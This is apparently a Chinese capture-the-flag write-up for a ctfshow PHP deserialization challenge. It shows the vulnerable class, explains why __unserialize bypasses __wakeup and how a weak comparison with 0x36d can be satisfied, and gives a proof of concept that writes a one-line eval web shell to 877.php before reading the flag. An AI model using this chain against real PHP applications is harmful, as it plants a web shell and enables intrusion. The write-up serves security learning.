PHP/7.4.16nginx/1.18.0

    1. <?php
    2. highlight_file(__FILE__);
    3. class ctfshowvip{
    4. public $username;
    5. public $password;
    6. public $code;
    7. public function __construct($u,$p){
    8. $this->username=$u;
    9. $this->password=$p;
    10. }
    11. public function __wakeup(){
    12. if($this->username!='' || $this->password!=''){
    13. die('error');
    14. }
    15. }
    16. public function __invoke(){
    17. eval($this->code);
    18. }
    19. public function __sleep(){
    20. $this->username='';
    21. $this->password='';
    22. }
    23. public function __unserialize($data){
    24. $this->username=$data['username'];
    25. $this->password=$data['password'];
    26. $this->code = $this->username.$this->password;
    27. }
    28. public function __destruct(){
    29. if($this->code==0x36d){
    30. file_put_contents($this->username, $this->password);
    31. }
    32. }
    33. }
    34. unserialize($_GET['vip']);

    分析
    __wakeup()

    unserialize() 会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。

    因这里写着 usernamepassword 必须为非空,否则会退出,所以可以考虑要绕过这里

    参考 CVE-2016-7124

    • 影响范围

    PHP5 < 5.6.25
    PHP7 < 7.0.10

    • 漏洞原理

    当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。

    但是题目是 PHP 7.4.2 明显不满足要求,

    然后guguru了一下比较显眼的 __unserialize 魔术方法,因为没见过
    https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize

    发现有趣的东西,官方文档是这样介绍的
    image.png
    就当同时存在 __wakeup__unserialize 魔术方法时,只会调用 __unserialize 魔术方法。

    仔细观察析构方法,是个弱比较 $this->code==0x36d
    然后 0x36d 的十进制是 877 ,写个小实验
    image.png

    也就是说弱比较 $code 变量前面是 877 就好了,不管后面加了啥字符串,就可以让 $code == 0x36d 成立了。

    构造 POC

    1. <?php
    2. class ctfshowvip{
    3. public $username = "877.php";
    4. public $password = '<?php eval($_GET[c]); ?>';
    5. }
    6. echo urlencode(serialize(new ctfshowvip()));

    会生成 877.php 然后 cat /flag_is_here 即可
    image.png

    题外
    因为 PHP 底层是用 C语言写的,原本想着用 \0 作为字符串截断,这样不会拼接 $passwod 字段,然后发现,如果第一个参数有 \0file_put_contents 会报错。
    image.png

    然后
    __invoke__sleep 在这里的用处不太清楚。。